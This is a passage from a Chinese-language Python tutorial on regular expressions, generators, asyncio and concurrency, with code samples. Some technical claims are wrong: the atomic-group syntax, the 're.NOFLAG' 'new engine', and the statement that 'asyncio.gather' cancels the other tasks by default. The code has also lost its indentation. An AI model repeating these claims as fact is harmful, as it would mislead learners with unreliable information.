result = re.findall(r"<div>.*</div>", text)
print(result)
# ['<div>Hello</div><div>World</div>']
# .* 从第一个 <div> 后一直匹配到最后一个 </div> 前
# "吞掉"了中间所有内容,包括第二个标签
# ===== 非贪婪匹配:.*? 尽量少匹配 =====
result = re.findall(r"<div>.*?</div>", text)
print(result)
# ['<div>Hello</div>', '<div>World</div>']
# .*? 匹配到第一个 </div> 就停了,然后继续找下一个
# ===== 量词对照表 =====
# 贪婪 非贪婪 含义
# * *? 0 次或多次
# + +? 1 次或多次
# ? ?? 0 次或 1 次
# {n,m} {n,m}? n 到 m 次
当正则表达式嵌套量词时,回溯次数可能呈指数级增长,导致程序卡死:
import re
import time
# ❌ 危险!嵌套量词 + 贪婪匹配 = 灾难性回溯
# 这个正则看起来没问题,但遇到不匹配的长字符串会卡死
pattern = re.compile(r"(a+)+b")
# 正常情况:匹配成功,瞬间完成
start = time.time()
pattern.match("aaaaaaaaaaaaab")
print(f"匹配成功:{time.time() - start:.6f}秒") # 0.000001 秒
# 灾难情况:匹配失败,回溯次数爆炸
# "a" * 25 没有结尾的 b,引擎会尝试所有可能的分组方式
# 比如 aaaaaaaaaaa 可以分成 (aaa)(aaaa)(aaaa) 或 (aa)(aaa)(aaaaaa) ...
# 分组方式有 2^n 种,每种都要试一遍
start = time.time()
try:
pattern.match("a" * 25)
except:
pass
print(f"匹配失败:{time.time() - start:.6f}秒") # 可能需要几秒
# ✅ 修复方案 1:用原子组(Python 3.11+ 的 (?()...) 语法)
# ✅ 修复方案 2:避免嵌套量词
pattern_fixed = re.compile(r"a+b") # 简化正则
# ✅ 修复方案 3:设置超时(Python 3.11+)
# import signal
# signal.alarm(5) # 5 秒后强制终止
如何避免?① 避免嵌套量词如 (a+)+;② 用 re.compile() 预编译;③ 测试时用长字符串验证性能;④ Python 3.11+ 可用 re.NOFLAG 的新引擎。
| 场景 | 推荐 | 原因 |
|---|---|---|
| 提取 HTML 标签内容 | 非贪婪 .*? | 需要精确匹配每个标签,不能"吞掉"后面的标签 |
| 匹配行尾内容 | 贪婪 .* | 需要匹配到行尾的所有内容 |
| 提取引号内的字符串 | 非贪婪 .*? | 引号内可能有嵌套引号,需要精确匹配到第一个闭合引号 |
| 删除整行 | 贪婪 .* | 目标是整行,不需要精确分割 |
import re
# 基本分组
text = "2024-01-15"
m = re.match(r"(\d{4})-(\d{2})-(\d{2})", text)
if m:
print(m.group(0)) # 2024-01-15(完整匹配)
print(m.group(1)) # 2024
print(m.group(2)) # 01
print(m.group(3)) # 15
# 命名分组
m = re.match(r"(?P<year>\d{4})-(?P<month>\d{2})-(?P<day>\d{2})", text)
if m:
print(m.group("year")) # 2024
print(m.group("month")) # 01
# 实用:解析 URL
url = "https://www.example.com:8080/path"
m = re.match(r"(?P<scheme>https?)://(?P<host>[^/:]+)(?::(?P<port>\d+))?(?P<path>/.*)?", url)
if m:
print(m.group("host")) # www.example.com
print(m.group("port")) # 8080
# 手机号:r"1[3-9]\d{9}"
# 邮箱:r"[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}"
# 身份证号:r"\d{17}[\dXx]"
# 日期:r"\d{4}-\d{2}-\d{2}"
你每天去同一家咖啡店。第一天你问"菜单在哪?",第二天你又问"菜单在哪?"——这很蠢。正确的做法是:第一天记住了菜单的位置,以后直接看。re.compile() 就是"记住正则的解析结果",避免每次都重新解析。
import re
import time
text = "手机号:13812345678,备用:15987654321,办公:18611112222"
# ===== ❌ 不预编译:每次调用都重新解析正则 =====
start = time.time()
for _ in range(100000):
re.findall(r"1[3-9]\d{9}", text)
print(f"不预编译:{time.time() - start:.3f}秒") # 约 0.8 秒
# ===== ✅ 预编译:只解析一次,后续直接使用 =====
phone_pattern = re.compile(r"1[3-9]\d{9}")
start = time.time()
for _ in range(100000):
phone_pattern.findall(text)
print(f"预编译:{time.time() - start:.3f}秒") # 约 0.4 秒(快 2 倍!)
re.compile() 编译频繁使用的正则(a+)+ 会导致灾难性回溯.*? 比 .* 更高效(回溯次数更少)^ 或 re.match(),引擎可以提前终止[a-zA-Z]+ 比 .+? 更精确,回溯更少(?:...) 非捕获组import re
# ===== 非捕获组 (?:...) =====
# 普通分组会"捕获"匹配内容,消耗内存
text = "2024-01-15"
# 捕获组:group(1) 是年,group(2) 是月,group(3) 是日
m = re.match(r"(\d{4})-(\d{2})-(\d{2})", text)
print(m.groups()) # ('2024', '01', '15') ← 3 个捕获组
# 非捕获组:(?:...) 只分组不捕获,节省内存
# 场景:用 | 时需要分组,但不需要捕获结果
m = re.match(r"(?:http|https)://(.+)", "https://example.com")
print(m.group(1)) # example.com ← 只有 1 个捕获组
# print(m.group(2)) # ❌ IndexError((?:...) 不占编号)
# ===== 常用正则优化技巧 =====
# 1. 用 [^x] 代替 .*?(更精确)
# ❌ 慢:re.findall(r'"(.*?)"', text) ← 非贪婪需要回溯
# ✅ 快:re.findall(r'"([^"]*)"', text) ← 字符类不需要回溯
# 2. 用 \b 单词边界代替前后加空格
# ❌ 不精确:re.search(r" cat ", text) ← 只匹配空格包围的 cat
# ✅ 精确:re.search(r"\bcat\b", text) ← 匹配单词 cat(标点、开头、结尾都算)
import re
# ===== 验证类 =====
def is_valid_phone(phone: str) -> bool:
"""验证中国大陆手机号"""
return bool(re.match(r"^1[3-9]\d{9}$", phone))
def is_valid_email(email: str) -> bool:
"""验证邮箱格式"""
return bool(re.match(r"^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$", email))
def is_valid_id_card(id_card: str) -> bool:
"""验证身份证号(18位)"""
return bool(re.match(r"^\d{17}[\dXx]$", id_card))
print(is_valid_phone("13812345678")) # True
print(is_valid_phone("12345678901")) # False(12 开头不合法)
print(is_valid_email("test@gmail.com")) # True
# ===== 提取类 =====
text = "联系我:手机 13812345678,邮箱 test@gmail.com,QQ 123456789"
# 提取所有数字序列
numbers = re.findall(r"\d+", text)
print(numbers) # ['13812345678', '123456789']
# 提取手机号和邮箱
phone = re.search(r"1[3-9]\d{9}", text)
email = re.search(r"[\w.+-]+@[\w-]+\.[\w.]+", text)
print(f"手机:{phone.group()}") # 13812345678
print(f"邮箱:{email.group()}") # test@gmail.com
# ===== 替换类 =====
# 脱敏:手机号中间4位替换为 ****
phone = "13812345678"
masked = re.sub(r"(\d{3})\d{4}(\d{4})", r"\1****\2", phone)
print(masked) # 138****5678
# 清理多余空格
text = "hello world python"
clean = re.sub(r"\s+", " ", text)
print(clean) # hello world python
# ===== 分割类 =====
# 按多种分隔符分割
text = "苹果,香蕉;橘子 苹果|葡萄"
items = re.split(r"[,;\s|]+", text)
print(items) # ['苹果', '香蕉', '橘子', '苹果', '葡萄']
r"...",避免转义问题。\d 在普通字符串中会被解释为转义字符.* 是贪婪(匹配尽量多),.*? 是非贪婪(匹配尽量少)。提取 HTML 标签内容时必须用非贪婪match 只匹配开头,search 搜索第一个匹配,findall 找所有匹配.、*、+、?、(、)、[、]、{、}、\、^、$、| 在正则中有特殊含义,匹配字面值需要用 \.(a+)+ 在匹配失败时会导致指数级回溯,程序卡死。避免嵌套量词或设置超时re.findall(pattern, text) 时,应该先 pattern = re.compile(...),性能提升 2 倍以上迭代器和生成器是 Python 中处理"大量数据"的利器。想象你要处理一个包含100万个元素的列表——如果一次性全部加载到内存,电脑可能会卡死。生成器让你"按需生成",每次只处理一个元素,内存占用几乎为零。这是 Python 最优雅的特性之一。
# 可迭代对象:可以用 for 循环遍历的对象
# 列表、元组、字符串、字典、集合、文件对象都是可迭代的
# 迭代器协议:实现了 __iter__() 和 __next__() 的对象
lst = [1, 2, 3]
it = iter(lst) # 获取迭代器
print(next(it)) # 1
print(next(it)) # 2
print(next(it)) # 3
print(next(it)) # ❌ StopIteration(没有更多元素了)
# for 循环的本质
# for x in lst: 相当于:
it = iter(lst)
while True:
try:
x = next(it)
# 循环体
except StopIteration:
break
class CountDown:
"""倒计时迭代器"""
def __init__(self, start):
self.current = start
def __iter__(self):
return self
def __next__(self):
if self.current <= 0:
raise StopIteration
value = self.current
self.current -= 1
return value
for num in CountDown(5):
print(num, end=" ") # 5 4 3 2 1
想象一条流水线:普通函数就像一个工人,一次性把所有产品做完才交给你(return 所有结果);生成器就像一条流水线,每做完一个产品就暂停(yield),等你需要下一个时再继续生产。你不需要准备一个大仓库存放所有产品——需要几个就生产几个。
生成器是一种特殊的迭代器,用 yield 关键字创建。它不会一次性生成所有值,而是按需生成,非常节省内存。
# 生成器函数:包含 yield 的函数
def countdown(n):
while n > 0:
yield n # 暂停,返回值,下次从这里继续
n -= 1
# 使用生成器
for num in countdown(5):
print(num, end=" ") # 5 4 3 2 1
# 生成器是惰性的——不会一次性计算所有值
def fibonacci():
a, b = 0, 1
while True:
yield a
a, b = b, a + b
# 取前 10 个斐波那契数
fib = fibonacci()
for _ in range(10):
print(next(fib), end=" ") # 0 1 1 2 3 5 8 13 21 34
你在看书时,用书签标记看到第几页。合上书(暂停),下次打开直接翻到书签位置继续看(恢复)。yield 就是那个书签——它记住了函数执行到哪一行、所有局部变量的值,下次调用 next() 时从书签位置继续。
# yield 的执行流程详解
def demo():
print("第 1 步:开始")
yield 1 # 暂停,返回 1,保存状态
print("第 2 步:继续")
yield 2 # 暂停,返回 2,保存状态
print("第 3 步:结束")
yield 3 # 暂停,返回 3
gen = demo()
# 第一次调用 next():执行到第一个 yield
print(next(gen)) # 输出:第 1 步:开始 → 返回 1
# 此时函数"冻结":执行位置在 yield 1 之后,局部变量都保存着
# 第二次调用 next():从 yield 1 之后继续执行
print(next(gen)) # 输出:第 2 步:继续 → 返回 2
# 函数再次"冻结":执行位置在 yield 2 之后
# 第三次调用 next():从 yield 2 之后继续执行
print(next(gen)) # 输出:第 3 步:结束 → 返回 3
# 第四次调用 next():没有更多 yield → 抛出 StopIteration
# next(gen) # ❌ StopIteration
当生成器函数执行到 yield 时,Python 会做三件事:
下次调用 next() 时,Python 会恢复之前保存的状态,从暂停的位置继续执行。这就是为什么生成器能"记住"之前的状态——它本质上是一个可暂停的函数。
import sys
# ===== 列表:一次性生成所有值,全部存入内存 =====
def squares_list(n):
"""返回前 n 个平方数的列表"""
return [i ** 2 for i in range(n)]
# ===== 生成器:按需生成,每次只存一个值 =====
def squares_gen(n):
"""逐个生成前 n 个平方数"""
for i in range(n):
yield i ** 2
# 内存对比
n = 1_000_000
lst = squares_list(n)
print(f"列表内存:{sys.getsizeof(lst) / 1024 / 1024:.1f} MB") # 约 8.0 MB
gen = squares_gen(n)
print(f"生成器内存:{sys.getsizeof(gen)} 字节") # 约 200 字节(不管 n 多大)
# 列表占 8 MB,生成器只占 200 字节——差 4 万倍!
# 列表推导式 → 生成器表达式(把 [] 换成 ())
squares_list = [x**2 for x in range(1000000)] # 立即占用内存
squares_gen = (x**2 for x in range(1000000)) # 几乎不占内存
# 生成器只能遍历一次
gen = (x**2 for x in range(5))
print(list(gen)) # [0, 1, 4, 9, 16]
print(list(gen)) # [](已经消耗完了)
# yield from:委托给另一个可迭代对象
def chain(*iterables):
for it in iterables:
yield from it # 把 it 的所有元素逐个 yield
result = list(chain([1, 2], [3, 4], [5, 6]))
print(result) # [1, 2, 3, 4, 5, 6]
send() 方法可以向生成器发送数据,让生成器在暂停时接收外部值。这是生成器实现双向通信的关键。
def accumulator():
"""累加器:接收外部值并累加"""
total = 0
while True:
value = yield total # yield 返回 total,同时接收 send() 发送的值
if value is None:
break
total += value
acc = accumulator()
next(acc) # 必须先调用 next() 或 send(None) 启动生成器!
print(acc.send(10)) # 10(发送 10,返回累加结果 10)
print(acc.send(20)) # 30(发送 20,返回累加结果 30)
print(acc.send(5)) # 35(发送 5,返回累加结果 35)
next(gen) 等价于 gen.send(None)TypeError: can't send non-None value to a just-started generatorfrom pathlib import Path
# ===== 实战 1:逐行处理大文件 =====
def read_large_file(file_path):
"""逐行读取大文件,内存占用恒定"""
with open(file_path, "r", encoding="utf-8") as f:
for line in f: # 文件对象本身就是迭代器
yield line.strip()
# 即使文件有 100 GB,内存中也只有一行
# for line in read_large_file("huge_log.txt"):
# if "ERROR" in line:
# print(line)
# ===== 实战 2:数据管道(生成器链) =====
def read_data(source):
"""步骤1:读取原始数据"""
for item in source:
print(f" 读取:{item}")
yield item
def clean_data(data):
"""步骤2:清洗数据"""
for item in data:
cleaned = item.strip().lower()
print(f" 清洗:{cleaned}")
yield cleaned
def filter_data(data, keyword):
"""步骤3:过滤数据"""
for item in data:
if keyword in item:
print(f" 保留:{item}")
yield item
# 串联成管道:每个元素依次经过 读取→清洗→过滤
raw = [" Apple ", "BANANA", " cherry ", "DATE", " EGGPLANT "]
pipeline = filter_data(clean_data(read_data(raw)), "a")
result = list(pipeline)
print(f"最终结果:{result}")
# 读取: Apple → 清洗:apple → 保留:apple
# 读取:BANANA → 清洗:banana → 保留:banana
# 最终结果:['apple', 'banana']
itertools.tee()iter() 获取迭代器,用 isinstance(x, collections.abc.Iterator) 判断yield 返回值,return 会终止迭代(return value 会被包装成 StopIteration(value))next(gen) 或 gen.send(None) 启动生成器,否则报 TypeErrorgen.close() 可以显式触发list(gen) 才能获取长度(但这会消耗生成器)异步编程是 Python 处理"等待型"任务的利器——网络请求、文件读写、数据库查询等。同步代码在等待时会"卡住",异步代码在等待时可以去做别的事。本章会从零开始讲解 async/await、事件循环和协程的概念。
想象你在餐厅点了餐,然后一直站在柜台前等——这就是同步。而你先去找座位坐下,等餐好了叫你——这就是异步。
同步:一个任务做完才做下一个。排队买奶茶,前面的人没走你就得等。
异步:发出请求后去做别的事,等结果回来再处理。点了餐先玩手机,叫号再去取。
import time
# 同步版本(总耗时 3 秒)
def sync_task(name, duration):
print(f"{name} 开始")
time.sleep(duration)
print(f"{name} 完成")
start = time.time()
sync_task("任务A", 1)
sync_task("任务B", 1)
sync_task("任务C", 1)
print(f"同步总耗时:{time.time() - start:.1f}秒") # 3.0 秒
import asyncio
# 异步版本(总耗时约 1 秒)
async def async_task(name, duration):
print(f"{name} 开始")
await asyncio.sleep(duration) # await:让出控制权,等待期间可以做别的
print(f"{name} 完成")
async def main():
start = time.time()
# 三个任务同时运行
await asyncio.gather(
async_task("任务A", 1),
async_task("任务B", 1),
async_task("任务C", 1)
)
print(f"异步总耗时:{time.time() - start:.1f}秒") # 约 1.0 秒
asyncio.run(main())
async def 定义的函数。调用它不会立即执行,而是返回一个协程对象。必须用 await 或交给事件循环才能运行。async def 函数内使用。# 普通函数:调用就执行
def sync_func():
return 42
result = sync_func() # 立即执行,result = 42
# 协程:调用只返回协程对象,不会执行
async def async_func():
return 42
coroutine = async_func() # 不执行!只是创建了一个协程对象
print(coroutine) # <coroutine object async_func at 0x...>
# 必须 await 才会执行
result = await async_func() # 这才会真正执行
事件循环是 asyncio 的核心机制。理解它,就理解了异步编程的本质。
asyncio.run() 会自动创建create_task() 或 await 将协程加入循环await 就暂停,去执行其他协程# asyncio.run()——最简单的启动方式(Python 3.7+)
import asyncio
async def main():
print("Hello")
await asyncio.sleep(1)
print("World")
asyncio.run(main()) # 创建事件循环 → 运行 main() → 关闭事件循环
# 更底层的启动方式(了解即可,一般不需要)
import asyncio
async def main():
print("Hello")
await asyncio.sleep(1)
print("World")
# 方式二:手动获取事件循环(旧写法,不推荐)
loop = asyncio.get_event_loop()
loop.run_until_complete(main())
loop.close()
# 方式三:Python 3.10+ 的 asyncio.Runner
with asyncio.Runner() as runner:
runner.run(main())
asyncio.run():创建新的事件循环,运行完毕后自动关闭。推荐用这个。get_event_loop():获取当前线程的事件循环。如果不存在,在 Python 3.10+ 会报错。asyncio.run()——会报错 RuntimeError: This event loop is already runningimport asyncio
async def fetch_data(url, delay):
print(f"开始请求 {url}")
await asyncio.sleep(delay) # 模拟网络请求
return f"{url} 的数据"
async def main():
# gather 同时运行多个协程,等全部完成后返回结果列表
# 结果的顺序和传入的顺序一致(不是完成的顺序)
results = await asyncio.gather(
fetch_data("api/users", 2),
fetch_data("api/posts", 1),
fetch_data("api/comments", 3)
)
print(results)
# ['api/users 的数据', 'api/posts 的数据', 'api/comments 的数据']
asyncio.run(main())
async def main():
# create_task 立即将协程交给事件循环调度
task1 = asyncio.create_task(fetch_data("api/users", 2))
task2 = asyncio.create_task(fetch_data("api/posts", 1))
# 可以在中间做其他事情
print("任务已安排,我先做别的事...")
# 等待结果
result1 = await task1
result2 = await task2
print(result1, result2)
asyncio.run(main())
| 方式 | 优点 | 适用场景 |
|---|---|---|
gather() | 简洁,一行搞定 | 同时运行一批任务,等全部完成 |
create_task() | 灵活,可以中途做其他事 | 需要在等待期间执行其他逻辑 |
import asyncio
async def risky_task(name, should_fail=False):
await asyncio.sleep(0.5)
if should_fail:
raise ValueError(f"{name} 失败了!")
return f"{name} 成功"
# ===== 问题:gather 中一个任务失败会怎样?=====
async def main():
# 默认行为:一个失败,其他任务被取消,异常传播到 gather
try:
results = await asyncio.gather(
risky_task("A"),
risky_task("B", should_fail=True), # 这个会失败
risky_task("C"),
)
except ValueError as e:
print(f"捕获到异常:{e}")
# 注意:A 和 C 可能已经被取消了!
asyncio.run(main())
# ===== 解决方案一:return_exceptions=True =====
async def main():
# 所有任务都会完成,异常作为返回值而不是抛出
results = await asyncio.gather(
risky_task("A"),
risky_task("B", should_fail=True),
risky_task("C"),
return_exceptions=True # 关键参数
)
for r in results:
if isinstance(r, Exception):
print(f"任务失败:{r}")
else:
print(f"任务成功:{r}")
# 任务成功:A 成功
# 任务失败:B 失败了!
# 任务成功:C 成功
asyncio.run(main())
# ===== 解决方案二:每个任务自己处理异常 =====
async def safe_task(name, should_fail=False):
try:
return await risky_task(name, should_fail)
except ValueError as e:
print(f"任务 {name} 出错:{e}")
return None # 返回默认值
async def main():
results = await asyncio.gather(
safe_task("A"),
safe_task("B", should_fail=True),
safe_task("C"),
)
# 过滤掉失败的
success = [r for r in results if r is not None]
print(success)
asyncio.run(main())
import asyncio
async def fetch(url, delay):
await asyncio.sleep(delay)
return f"{url} done"
async def main():
tasks = [
asyncio.create_task(fetch("A", 3)),
asyncio.create_task(fetch("B", 1)),
asyncio.create_task(fetch("C", 2)),
]
# ===== FIRST_COMPLETED:有一个完成就返回 =====
done, pending = await asyncio.wait(tasks, return_when=asyncio.FIRST_COMPLETED)
print(f"第一个完成的:{[t.result() for t in done]}") # ['B done']
print(f"还在运行的:{len(pending)} 个") # 2 个
# ===== ALL_COMPLETED:全部完成才返回(和 gather 类似)=====
done, pending = await asyncio.wait(tasks, return_when=asyncio.ALL_COMPLETED)
# ===== FIRST_EXCEPTION:有异常就返回 =====
done, pending = await asyncio.wait(tasks, return_when=asyncio.FIRST_EXCEPTION)
asyncio.run(main())
import asyncio
class AsyncDB:
async def __aenter__(self):
print("连接数据库...")
await asyncio.sleep(0.5)
return self
async def __aexit__(self, exc_type, exc_val, exc_tb):
print("关闭数据库连接...")
await asyncio.sleep(0.5)
return False
async def query(self, sql):
await asyncio.sleep(0.1)
return f"查询结果:{sql}"
async def main():
async with AsyncDB() as db:
result = await db.query("SELECT * FROM users")
print(result)
asyncio.run(main())
import asyncio
class AsyncCounter:
"""异步迭代器——每次 next 都有异步操作"""
def __init__(self, stop):
self.current = 0
self.stop = stop
def __aiter__(self):
return self
async def __anext__(self):
if self.current >= self.stop:
raise StopAsyncIteration
await asyncio.sleep(0.1) # 模拟异步操作
self.current += 1
return self.current
async def main():
async for num in AsyncCounter(5):
print(num, end=" ") # 1 2 3 4 5
asyncio.run(main())
asyncio.sleep()asyncio.run() 或在事件循环中运行requests.get()、open(),会阻塞事件循环,应该用 aiohttp、aiofilesfetch_data("url") 不会执行,必须 await fetch_data("url")| 不要用(阻塞) | 改用(异步) |
|---|---|
time.sleep(n) | await asyncio.sleep(n) |
requests.get(url) | await aiohttp.ClientSession().get(url) |
open("file.txt") | await aiofiles.open("file.txt") |
socket.recv() | await reader.read(n) |
queue.Queue() | asyncio.Queue() |
本章继续深入异步编程,介绍异步迭代器、异步推导式、TaskGroup、信号量等高级特性,以及多线程、多进程和异步的对比。掌握这些,你就能写出高效的并发程序。
import asyncio
class AsyncCounter:
def __init__(self, stop):
self.current = 0
self.stop = stop
def __aiter__(self):
return self
async def __anext__(self):
if self.current >= self.stop:
raise StopAsyncIteration
await asyncio.sleep(0.1) # 模拟异步操作
self.current += 1
return self.current
async def main():
async for num in AsyncCounter(5):
print(num, end=" ") # 1 2 3 4 5
asyncio.run(main())
import asyncio
async def fetch(x):
await asyncio.sleep(0.1)
return x * 2
async def main():
# 异步列表推导式
results = [await fetch(x) for x in range(5)]
print(results) # [0, 2, 4, 6, 8]
# 异步生成器表达式
gen = (await fetch(x) for x in range(5))
asyncio.run(main())
asyncio.TaskGroup 和 ExceptionGroup 是 Python 3.11+ 的特性,在 3.11 之前完全不可用,也没有官方 backport。如果你的项目需要支持 3.9/3.10,可以使用第三方库 taskgroup(pip install taskgroup)或 anyio 作为兼容方案。
import asyncio
async def task(name, delay):
await asyncio.sleep(delay)
return f"{name} 完成"
async def main():
# TaskGroup:自动管理任务的生命周期
async with asyncio.TaskGroup() as tg:
t1 = tg.create_task(task("A", 1))
t2 = tg.create_task(task("B", 2))
t3 = tg.create_task(task("C", 0.5))
# 所有任务完成后才能到这里
print(t1.result()) # A 完成
print(t2.result()) # B 完成
print(t3.result()) # C 完成
asyncio.run(main())
TaskGroup 的核心优势是异常安全:如果任何一个任务抛出异常,TaskGroup 会自动取消其余任务,并把所有异常打包成一个 ExceptionGroup 抛出。
import asyncio
async def risky_task(name):
if name == "B":
raise ValueError(f"{name} 出错了!")
await asyncio.sleep(1)
return f"{name} 完成"
async def main():
try:
async with asyncio.TaskGroup() as tg:
tg.create_task(risky_task("A"))
tg.create_task(risky_task("B")) # 这个会抛异常
tg.create_task(risky_task("C"))
except* ValueError as eg:
# except* 是 Python 3.11 的新语法,专门捕获 ExceptionGroup
for exc in eg.exceptions:
print(f"捕获到:{exc}")
# 输出:捕获到:B 出错了!
# 任务 A 和 C 被自动取消
asyncio.run(main())
except* 语法按类型分别捕获。这比 asyncio.gather(return_exceptions=True) 更优雅——gather 只是把异常当返回值,你需要手动检查每个结果。
import asyncio
async def fetch(sem, url):
async with sem: # 限制并发数
print(f"请求 {url}")
await asyncio.sleep(1)
return f"{url} 数据"
async def main():
sem = asyncio.Semaphore(3) # 最多同时 3 个请求
urls = [f"api/{i}" for i in range(10)]
tasks = [fetch(sem, url) for url in urls]
results = await asyncio.gather(*tasks)
print(f"获取了 {len(results)} 个结果")
asyncio.run(main())
想象一家餐厅的厨房:
多线程 = 一个厨师同时照看多个灶台。他不能同时翻两个锅(GIL 限制),但可以在等水烧开的时候去切菜(IO 等待时切换任务)。适合"等"多于"做"的任务。
多进程 = 多个厨师各自有自己的灶台和工具。每个人都能独立干活(真正的并行),但他们不能直接用对方的食材(进程间通信需要管道/队列)。适合"做"多于"等"的任务。
异步 = 一个超级厨师,有 100 个灶台。他不会傻等一个锅烧开,而是不停地在灶台间切换——哪个好了就处理哪个。适合大量"等待"的场景(网络请求、数据库查询)。
GIL(Global Interpreter Lock,全局解释器锁)是 CPython 解释器的一个机制。它确保同一时刻只有一个线程在执行 Python 字节码。这意味着:
import time
from concurrent.futures import ThreadPoolExecutor, ProcessPoolExecutor
def cpu_task(n):
"""CPU 密集型任务:计算平方和"""
return sum(i * i for i in range(n))
def io_task(url):
"""IO 密集型任务:模拟网络请求"""
time.sleep(1) # 模拟等待
return f"{url} 完成"
# ===== CPU 密集型:多线程反而更慢!=====
# 单线程
start = time.time()
[cpu_task(10**6) for _ in range(4)]
print(f"单线程 CPU:{time.time() - start:.2f}秒") # 约 1.2 秒
# 多线程(受 GIL 限制,不能真正并行)
with ThreadPoolExecutor(max_workers=4) as ex:
start = time.time()
list(ex.map(cpu_task, [10**6] * 4))
print(f"多线程 CPU:{time.time() - start:.2f}秒") # 约 1.3 秒(甚至更慢!)
# 多进程(绕过 GIL,真正并行)
with ProcessPoolExecutor(max_workers=4) as ex:
start = time.time()
list(ex.map(cpu_task, [10**6] * 4))
print(f"多进程 CPU:{time.time() - start:.2f}秒") # 约 0.4 秒(快 3 倍!)
# ===== IO 密集型:多线程效果显著 =====
urls = ["url1", "url2", "url3", "url4"]
# 单线程
start = time.time()
[io_task(u) for u in urls]
print(f"单线程 IO:{time.time() - start:.2f}秒") # 约 4.0 秒
# 多线程(IO 等待时释放 GIL,其他线程可以执行)
with ThreadPoolExecutor(max_workers=4) as ex:
start = time.time()
list(ex.map(io_task, urls))
print(f"多线程 IO:{time.time() - start:.2f}秒") # 约 1.0 秒(快 4 倍!)
| 方式 | 适合场景 | GIL 影响 | 内存开销 | 代码复杂度 |
|---|---|---|---|---|
| 多线程 | IO 密集型(网络请求、文件读写) | 受 GIL 限制,不能真正并行计算 | 轻量(共享内存) | 中等(需要处理竞态条件) |
| 多进程 | CPU 密集型(计算、图像处理) | 绕过 GIL,每个进程有独立的 GIL | 重量(独立内存空间) | 较高(进程间通信复杂) |
| 异步 | 大量并发 IO(Web 服务器、爬虫) | 单线程,不存在 GIL 问题 | 最轻量 | 较高(需要 async/await 生态) |
典型场景:网络请求、文件读写、数据库查询、调用外部 API
为什么用多线程:线程在等待 IO 时会释放 GIL,其他线程可以继续执行。线程切换开销小,代码简单。
import requests
from concurrent.futures import ThreadPoolExecutor, as_completed
import time
def download_page(url):
"""下载网页"""
response = requests.get(url, timeout=10)
return f"{url}: {len(response.text)} 字符"
# 10个网页,串行需要10秒,并发只需1-2秒
urls = [
"https://example.com",
"https://example.org",
"https://example.net",
# ... 更多URL
]
# 方式一:ThreadPoolExecutor(推荐)
start = time.time()
with ThreadPoolExecutor(max_workers=10) as executor:
# 提交所有任务
futures = {executor.submit(download_page, url): url for url in urls}
# 按完成顺序获取结果
for future in as_completed(futures):
url = futures[future]
try:
result = future.result()
print(result)
except Exception as e:
print(f"{url} 失败: {e}")
print(f"多线程耗时: {time.time() - start:.2f}秒")
# 方式二:更简洁的 map 写法
with ThreadPoolExecutor(max_workers=10) as executor:
results = list(executor.map(download_page, urls))
适用场景清单:
典型场景:图像处理、视频转码、数据分析、机器学习训练、数学计算
为什么用多进程:每个进程有独立的 GIL,可以真正利用多核 CPU 并行计算。
from concurrent.futures import ProcessPoolExecutor
from PIL import Image
import os
import time
def process_image(image_path):
"""处理图片:调整大小并添加水印"""
img = Image.open(image_path)
img = img.resize((800, 600))
# 模拟复杂处理
time.sleep(0.5)
output_path = image_path.replace(".jpg", "_processed.jpg")
img.save(output_path)
return f"处理完成: {image_path}"
# 获取所有图片
image_dir = "./images"
image_paths = [
os.path.join(image_dir, f)
for f in os.listdir(image_dir)
if f.endswith(".jpg")
]
# 方式一:ProcessPoolExecutor
start = time.time()
with ProcessPoolExecutor(max_workers=4) as executor: # 通常设为CPU核心数
results = list(executor.map(process_image, image_paths))
print(f"多进程耗时: {time.time() - start:.2f}秒")
# 方式二:手动管理进程池
from multiprocessing import Pool
with Pool(processes=4) as pool:
results = pool.map(process_image, image_paths)
# 方式三:apply_async(非阻塞)
with Pool(processes=4) as pool:
async_results = [pool.apply_async(process_image, (path,)) for path in image_paths]
# 可以在等待时做其他事情
results = [r.get(timeout=30) for r in async_results]
适用场景清单:
典型场景:Web 服务器、爬虫、聊天服务器、实时推送、大模型 API 调用
为什么用异步:单线程即可处理数万并发连接,内存开销最小,适合高并发 IO。
import asyncio
import aiohttp
import time
async def fetch(session, url):
"""异步请求"""
async with session.get(url) as response:
return await response.text()
async def main():
urls = [f"https://example.com/page/{i}" for i in range(100)]
async with aiohttp.ClientSession() as session:
# 并发100个请求,内存开销很小
tasks = [fetch(session, url) for url in urls]
results = await asyncio.gather(*tasks, return_exceptions=True)
success = sum(1 for r in results if not isinstance(r, Exception))
print(f"成功: {success}/{len(urls)}")
# 异步爬虫
async def crawl_with_limit(urls, max_concurrent=50):
"""带并发限制的爬虫"""
semaphore = asyncio.Semaphore(max_concurrent)
async def limited_fetch(session, url):
async with semaphore: # 限制并发数
return await fetch(session, url)
async with aiohttp.ClientSession() as session:
tasks = [limited_fetch(session, url) for url in urls]
return await asyncio.gather(*tasks)
# 运行
start = time.time()
asyncio.run(main())
print(f"异步耗时: {time.time() - start:.2f}秒")
适用场景清单:
import time
import requests
from concurrent.futures import ThreadPoolExecutor, ProcessPoolExecutor
import asyncio
import aiohttp
# 测试场景:下载10个网页(IO密集型)
urls = ["https://httpbin.org/delay/1"] * 10
# 1. 串行
def test_serial():
start = time.time()
for url in urls:
requests.get(url)
return time.time() - start
# 2. 多线程
def test_threading():
start = time.time()
with ThreadPoolExecutor(max_workers=10) as ex:
list(ex.map(requests.get, urls))
return time.time() - start
# 3. 异步
async def test_async():
start = time.time()
async with aiohttp.ClientSession() as session:
tasks = [session.get(url) for url in urls]
await asyncio.gather(*tasks)
return time.time() - start
print(f"串行: {test_serial():.2f}秒") # 约 10 秒
print(f"多线程: {test_threading():.2f}秒") # 约 1.2 秒
print(f"异步: {asyncio.run(test_async()):.2f}秒") # 约 1.1 秒
# 测试场景:计算10个大数的平方和(CPU密集型)
def cpu_task(n):
return sum(i * i for i in range(n))
numbers = [10**7] * 10
# 1. 串行
start = time.time()
[cpu_task(n) for n in numbers]
print(f"串行 CPU: {time.time() - start:.2f}秒") # 约 5 秒
# 2. 多线程(受GIL限制,几乎无提升)
start = time.time()
with ThreadPoolExecutor(max_workers=4) as ex:
list(ex.map(cpu_task, numbers))
print(f"多线程 CPU: {time.time() - start:.2f}秒") # 约 5 秒
# 3. 多进程(真正并行,快4倍)
start = time.time()
with ProcessPoolExecutor(max_workers=4) as ex:
list(ex.map(cpu_task, numbers))
print(f"多进程 CPU: {time.time() - start:.2f}秒") # 约 1.3 秒
对于既需要计算又需要IO的场景,可以混合使用:
